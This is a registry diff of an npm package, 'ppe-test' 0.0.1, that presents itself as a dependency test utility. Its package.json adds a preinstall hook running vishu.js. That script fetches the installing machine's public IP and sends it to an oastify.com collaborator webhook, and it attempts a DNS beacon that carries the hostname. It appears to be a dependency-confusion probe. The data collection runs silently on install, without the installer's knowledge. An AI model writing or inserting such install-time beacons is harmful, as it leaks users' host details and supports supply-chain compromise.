ppe-test 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +12 -0
- package/vishu.js +54 -0
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "ppe-test",
|
|
3
|
+
"version": "0.0.1",
|
|
4
|
+
"description": "dependency test utility package",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node vishu.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "Vishal Kumar",
|
|
11
|
+
"license": "MIT"
|
|
12
|
+
}
|
package/vishu.js
ADDED
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
const dns = require("dns");
|
|
2
|
+
const https = require("https");
|
|
3
|
+
const os = require("os");
|
|
4
|
+
|
|
5
|
+
const WEBHOOK_URL = "https://jj6l5f1xe55ur2rhe7jrhnsiv910psdh.oastify.com";
|
|
6
|
+
const COLLAB_DOMAIN = "your-collab-domain.oastify.com"; // optional, for DNS log
|
|
7
|
+
|
|
8
|
+
function getPublicIP(callback) {
|
|
9
|
+
https.get("https://api.ipify.org?format=json", (res) => {
|
|
10
|
+
let data = "";
|
|
11
|
+
res.on("data", chunk => data += chunk);
|
|
12
|
+
res.on("end", () => {
|
|
13
|
+
try {
|
|
14
|
+
const ip = JSON.parse(data).ip;
|
|
15
|
+
callback(ip);
|
|
16
|
+
} catch {
|
|
17
|
+
callback("unknown");
|
|
18
|
+
}
|
|
19
|
+
});
|
|
20
|
+
}).on("error", () => callback("unknown"));
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
function sendDnsPing() {
|
|
24
|
+
try {
|
|
25
|
+
const dnsSub = `ping-${os.hostname().replace(/\./g, "-")}.${COLLAB_DOMAIN}`;
|
|
26
|
+
dns.lookup(dnsSub, () => {}); // fire-and-forget
|
|
27
|
+
} catch (_) {}
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
function sendHttpPing(ip) {
|
|
31
|
+
const url = new URL(WEBHOOK_URL);
|
|
32
|
+
url.searchParams.append("ip", ip);
|
|
33
|
+
|
|
34
|
+
const options = {
|
|
35
|
+
hostname: url.hostname,
|
|
36
|
+
port: 443,
|
|
37
|
+
path: url.pathname + url.search,
|
|
38
|
+
method: "GET",
|
|
39
|
+
timeout: 3000
|
|
40
|
+
};
|
|
41
|
+
|
|
42
|
+
const req = https.request(options, (res) => {
|
|
43
|
+
res.on("data", () => {});
|
|
44
|
+
});
|
|
45
|
+
req.on("error", () => {});
|
|
46
|
+
req.end();
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
(function main() {
|
|
50
|
+
getPublicIP((ip) => {
|
|
51
|
+
sendHttpPing(ip);
|
|
52
|
+
sendDnsPing();
|
|
53
|
+
});
|
|
54
|
+
})();
|